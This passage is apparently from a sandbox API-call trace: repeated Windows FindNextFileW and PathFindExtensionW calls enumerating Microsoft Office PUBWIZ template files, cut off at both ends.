hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSIDEBR.DPV") returned=".DPV" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSIDEBR.XML") returned=".XML" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.817] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSIDEBRV.XML") returned=".XML" [0264.817] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.818] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSTORY.XML") returned=".XML" [0264.818] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.818] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGSTORYVERT.XML") returned=".XML" [0264.818] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.818] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGTEAR.DPV") returned=".DPV" [0264.818] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.818] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGTOC.DPV") returned=".DPV" [0264.818] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.818] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGTOC.XML") returned=".XML" [0264.818] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.818] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBAD.XML") returned=".XML" [0264.818] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.818] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBBTN.DPV") returned=".DPV" [0264.818] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBBTN.XML") returned=".XML" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBCAL.DPV") returned=".DPV" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBCAL.XML") returned=".XML" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBHD.DPV") returned=".DPV" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBHD.XML") returned=".XML" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBPQT.DPV") returned=".DPV" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBPQT.XML") returned=".XML" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBREF.XML") returned=".XML" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBSBR.DPV") returned=".DPV" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBSBR.XML") returned=".XML" [0264.844] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGZIP.DPV") returned=".DPV" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGZIPC.XML") returned=".XML" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DOTS.POC") returned=".POC" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DVDHM.POC") returned=".POC" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAIL.DPV") returned=".DPV" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAIL.XML") returned=".XML" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAIL11.POC") returned=".POC" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAILMOD.POC") returned=".POC" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENV11.POC") returned=".POC" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENV98.POC") returned=".POC" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENV98SP.POC") returned=".POC" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENVELOPE.DPV") returned=".DPV" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENVELOPE.XML") returned=".XML" [0264.845] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENVHM.POC") returned=".POC" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FEZIP.POC") returned=".POC" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLY98SP.POC") returned=".POC" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER.DPV") returned=".DPV" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER.XML") returned=".XML" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER11.POC") returned=".POC" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER98.POC") returned=".POC" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYERHM.POC") returned=".POC" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FOLDPROJ.DPV") returned=".DPV" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FOLDPROJ.XML") returned=".XML" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.846] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FORM98.POC") returned=".POC" [0264.846] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.847] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FORMCTL.POC") returned=".POC" [0264.847] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.847] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FS3BOX.POC") returned=".POC" [0264.847] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.847] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GIFT.DPV") returned=".DPV" [0264.847] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.847] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GIFT.XML") returned=".XML" [0264.847] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GIFT98.POC") returned=".POC" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GREET11.POC") returned=".POC" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GREETING.DPV") returned=".DPV" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GREETING.XML") returned=".XML" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\HEADINGBB.DPV") returned=".DPV" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\HEADINGBB.POC") returned=".POC" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\INVITE.DPV") returned=".DPV" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\INVITE.XML") returned=".XML" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\INVITE11.POC") returned=".POC" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABEL.DPV") returned=".DPV" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABEL.XML") returned=".XML" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABEL98.POC") returned=".POC" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABELHM.POC") returned=".POC" [0264.848] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.848] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LETTHEAD.DPV") returned=".DPV" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LETTHEAD.XML") returned=".XML" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LINEACT.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LOGO98.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHD11.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHD98.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHD98SP.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LTHDHM.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MAIN.XML") returned=".XML" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MARQUEE.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MENU.DPV") returned=".DPV" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MENU.XML") returned=".XML" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MENU98.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.849] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MSTHED98.POC") returned=".POC" [0264.849] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBAR11.POC") returned=".POC" [0264.850] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBARV.POC") returned=".POC" [0264.850] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.850] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBRPH1.POC") returned=".POC" [0264.850] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBRPH2.POC") returned=".POC" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS.DPV") returned=".DPV" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS.XML") returned=".XML" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS11.POC") returned=".POC" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWS98.POC") returned=".POC" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NEWSHM.POC") returned=".POC" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ORIG98.POC") returned=".POC" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PICCAP98.POC") returned=".POC" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PICSTYLES.DPV") returned=".DPV" [0264.851] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.851] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PICTPH.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PNCTUATE.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POST98SP.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCARD.DPV") returned=".DPV" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCARD.XML") returned=".XML" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCD11.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\POSTCD98.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PROG98.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PROGRAM.DPV") returned=".DPV" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PROGRAM.XML") returned=".XML" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PS10TARG.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PS2SWOOS.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PS9CRNRH.POC") returned=".POC" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.852] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\PULLQUOTEBB.DPV") returned=".DPV" [0264.852] FindNextFileW (in: hFindFile=0x4e2bd48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.853] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 